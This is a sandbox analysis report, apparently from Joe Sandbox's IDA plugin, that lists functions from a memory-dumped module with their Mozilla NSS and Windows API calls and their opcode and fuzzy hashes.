Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong$memcpy$_byteswap_ushort
String ID:
API String ID: 3070372028-0
Opcode ID: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction ID: a2b6da32458bba6b8c58da7ff4202f2bae759cf8b4f6a3f13963d6ec91f6005a
Opcode Fuzzy Hash: 848c820c84e3ba32651aa9a9d26f40a2b88f3f9ef7b005cdd258c69f0d4c2721
Instruction Fuzzy Hash: 7A51B1719083519FD720CF69C440B6ABBE5FF89318F04896DE89987B41E730E919CB96

Function 6C71DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32(?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E029
PK11_IsLoggedIn.NSS3 ref: 6C71E046

Part of subcall function 6C728F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
Part of subcall function 6C728F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

PR_Unlock.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E149

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction ID: 688e2aed540ab24ec71dddfe0f11ef589b23f38611c01bce4ee87e2c00effdb8
Opcode Fuzzy Hash: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction Fuzzy Hash: 67515C74608605CFDB10DF29C68876ABBF1BF44318F29896CD8998BF41D731E984CB81

Function 6C72BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C72BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C709F71,?,?,00000000), ref: 6C72BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C72C014

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction ID: 70d6a22c3649326e5752b894b789c61bb8c8519cba18259b06a0e19ea6df639f
Opcode Fuzzy Hash: 1850dd8ae34fd60701cf99bf554fe5ca1b92939c2386911f6374fd6217680f44
Instruction Fuzzy Hash: F641E671A012059BEB20CE66CE48BBA73B9AF44208F544138ED19D7B81EB39F905CBD1

Function 6C6FEDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6FEDFD
calloc.MOZGLUE(00000001,00000000), ref: 6C6FEE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6C6FEECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6FEEEB
free.MOZGLUE(?), ref: 6C6FEEF6

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction ID: 34319f1441cd08e6e3f616af5f6aeb1c7ae1ec53cc54ac4f510e94a36c88ed18
Opcode Fuzzy Hash: 3e7702338032358e8aef3144fd496d1a1cee086db06c4d40e29efce3a88302d1
Instruction Fuzzy Hash: B23139B16042019BE7209F2DEC447A63FF6FB46318F140538E8AA87A51D731E817CBD6

Function 6C711F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C711F1C

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6C829EBC), ref: 6C711FB8
SEC_ASN1EncodeItem_Util.NSS3(6C829E9C,?,?,6C829E9C), ref: 6C71200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C712020

Part of subcall function 6C706A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C70AD50,?,?), ref: 6C706A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C712030

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction ID: d739f1d5d190354582df8aec3987344a917683ce1274185def90368901ba0a0f
Opcode Fuzzy Hash: 06600a2c51ff5246db12dae1eddf4dbae84e3d24bd4daf5024b83eee67250594
Instruction Fuzzy Hash: FB21E6B5905502BBE7119A15DE48FAA7768FF5231CF1C0225FC2896F80E731E668C7A1

Function 6C701DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C701E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C701E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6C701EAD

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction ID: b24940f7517140361e428751cdc242d60059cc523c0da46dccf3c770d3ec74e2
Opcode Fuzzy Hash: b26be85d3b31e469fcae5b4a98fa2cb93be01e2c7c6929402a322bec67af8526
Instruction Fuzzy Hash: 502125B2F04311ABD7008E69DE48B8F73D89B8476EF148638ED5957780E730D90887D2

Function 6C811E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C811E5C

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

PR_Lock.NSS3(00000000), ref: 6C811E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C811EAB
PR_GetCurrentThread.NSS3 ref: 6C811ED0
PR_Unlock.NSS3(?), ref: 6C811EE8

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction ID: c5230175d3828544c5385fbf1d18dbd9ba0a6ac3c020bc432d5b1a8fef29a5b1
Opcode Fuzzy Hash: 079448d3eba4e3cfd943006fc1fc5fb388fc3ee0d6a11040e0c282586b7a9af1
Instruction Fuzzy Hash: C4219A74B18513AFD720CF99DA84A46B7F0BF64718B258A29D8158BF40D730F810CBD1

Function 6C75BE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?,?), ref: 6C75BED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEEB

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: 88c314ad63180daf64819070a967eb0bd8c2e1d574033d105d291c27f6043c61
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: A3110866B0424967E70089669F88F77736DAB40758F884135FE0597B92EF32EC2487E1

Function 6C70AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADA7

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000,00000000), ref: 6C70ADB4

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6C703FFF,?,?,?,?,6C703FFF,00000000,?,?,?,?,?,6C701A1C,00000000), ref: 6C70ADD5

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C8294B0,?,?,?,?,?,?,?,?,6C703FFF,00000000,?), ref: 6C70ADEC

Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C703FFF), ref: 6C70AE3C

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction ID: bc7fca46ca59e37a1aee253d5750c7dd94337834abe962eb5ae88f90b1e104c9
Opcode Fuzzy Hash: 2da06d118904eaf8b3dfcf1f5537b858641f87274ba7bf570cf61b1e75ab437d
Instruction Fuzzy Hash: A81133A1F002056BE7109A659E09BBF72EC9F9125CF044238EC19D6B41FB20E998C3E2

Function 6C718FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C720710), ref: 6C718FF1
PR_CallOnce.NSS3(6C862158,6C719150,00000000,?,?,?,6C719138,?,6C720710), ref: 6C719029
calloc.MOZGLUE(00000001,00000000,?,?,6C720710), ref: 6C71904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C720710), ref: 6C719066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C720710), ref: 6C719078

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction ID: 84e839780bfae05ab4ee899eeaa982a20e28641ff2f82ef6783ac49bcb736dac
Opcode Fuzzy Hash: 05b17bdb0d7897fe50ab33c3968bb2685e246feb0cc7800625f6cac7a5f3b4db
Instruction Fuzzy Hash: 08114461B082135BE7201AAEAD04A7672ACEB927ACF480431FC84C2F40F352CD46C3F9

Function 6C72CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C741E10: TlsGetValue.KERNEL32 ref: 6C741E36
Part of subcall function 6C741E10: EnterCriticalSection.KERNEL32(?,?,?,6C71B1EE,2404110F,?,?), ref: 6C741E4B
Part of subcall function 6C741E10: PR_Unlock.NSS3 ref: 6C741E76

free.MOZGLUE(?,6C72D079,00000000,00000001), ref: 6C72CDA5
PK11_FreeSymKey.NSS3(?,6C72D079,00000000,00000001), ref: 6C72CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C72D079,00000000,00000001), ref: 6C72CDCF
DeleteCriticalSection.KERNEL32(?,6C72D079,00000000,00000001), ref: 6C72CDE2
free.MOZGLUE(?), ref: 6C72CDE9

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction ID: 6ab783935ea170ae396a609ccec168f2f93d705ef1b8d89b00f74d4b05b895ec
Opcode Fuzzy Hash: dc5804417c6803546dd7d1cd8dfffd925d66b7c8ea6470fd9f04519a2c567804
Instruction Fuzzy Hash: 4F11C2B6B01111BBEB00AE65EE49D96B72DFF1426E7144131F90987E01E73AE434CBE1

Function 6C792CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792CEC

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792D02
PR_EnterMonitor.NSS3(?), ref: 6C792D1F
PR_ExitMonitor.NSS3(?), ref: 6C792D42
PR_ExitMonitor.NSS3(?), ref: 6C792D5B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 227605bb550a852316d7537ec0fd3da1ad8c12a7b3ee79bfc6ea44c27c847977
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: AF0104B1A40604AFE770AE25FD4ABC7B3A1EF51318F004535E85986721E332F9158793

Function 6C792D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C792D9C

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C792DB2
PR_EnterMonitor.NSS3(?), ref: 6C792DCF
PR_ExitMonitor.NSS3(?), ref: 6C792DF2
PR_ExitMonitor.NSS3(?), ref: 6C792E0B

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 483e3222dea85e673eb9206e100f7b11d724fa840afe2f41ec313362b6ab21d7
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: A901C4B1A50200AFEB70AE25FD4DBC7B7A5EF51318F004535E85986B22D732F9258693

